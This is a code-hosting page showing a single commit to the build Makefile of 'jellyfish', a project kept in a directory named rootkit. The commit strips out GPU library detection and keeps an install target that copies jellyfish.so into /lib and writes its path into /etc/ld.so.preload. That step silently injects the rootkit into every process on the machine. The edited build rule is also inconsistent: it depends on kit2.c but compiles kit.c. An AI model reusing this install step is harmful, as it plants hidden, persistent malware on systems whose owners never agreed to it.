Projects STRLCPY jellyfish Commits 44097027
🤬
  • Link AMD or NVIDIA libs to LD

  • Loading...
  • x0r1 committed 9 years ago
    44097027
    1 parent 5aa0ba0f
  • ■ ■ ■ ■ ■
    rootkit/Makefile
    1 1  INSTALL=/lib
    2 2   
     3 +CC=gcc
     4 + 
    3 5  LIBS= -lc -ldl -lOpenCL
    4 6   
    5  -# check for 32 or 64 bit
    6  -PROC_TYPE = $(strip $(shell uname -m | grep 64))
    7  - 
    8  -ifeq ($(PROC_TYPE),)
    9  - CFlAGS += -m32
    10  -else
    11  - CFLAGS += -m64
    12  -endif
    13  - 
    14  -# check for AMD
    15  -ifdef AMDAPPSDKROOT
    16  - INC_DIRS = . $(AMDAPPSDKROOT)/include
    17  - ifeq ($(PROC_TYPE),)
    18  - LIB_DIRS=$(AMDAPPSDKROOT)/lib/x86
    19  - else
    20  - LIB_DIRS=$(AMDAPPSDKROOT)/lib/x86_64
    21  - endif
    22  -else
    23  - 
    24  -# check for Nvidia
    25  -ifdef CUDA
    26  - INC_DIRS = . $(CUDA)/OpenCL/common/inc
    27  -endif
    28  - 
    29  -endif
    30  - 
    31 7  all: jellyfish.so
    32 8   
    33  -jellyfish.so: kit.c
    34  - $(CC) $(CFLAGS) -I $(INC_DIRS) -L $(LIB_DIRS) $(LIBS) -fPIC -g -c kit.c
    35  - $(CC) -fPIC -shared -Wl, -soname,jellyfish.so kit.o -I $(INC_DIRS) -L $(LIB_DIRS) $(LIBS) -o jellyfish.so
     9 +jellyfish.so: kit2.c
     10 + $(CC) $(CFLAGS) -fPIC -g -c kit.c
     11 + $(CC) -fPIC -shared -Wl,-soname,jellyfish.so kit.o $(LIBS) -o jellyfish.so
    36 12   strip jellyfish.so
    37 13   
    38 14  install: all
    39  - @test -d $(INSTALL) || mkdir $(INSTALL)
    40 15   @install -m 0755 jellyfish.so $(INSTALL)/
    41  - @echo [-] Injecting Jellyfish
     16 + @echo [-] Injecting jellyfish
    42 17   @echo $(INSTALL)/jellyfish.so > /etc/ld.so.preload
    43 18   
    44 19  clean:
    skipped 2 lines
Please wait...
Page is in error, reload to recover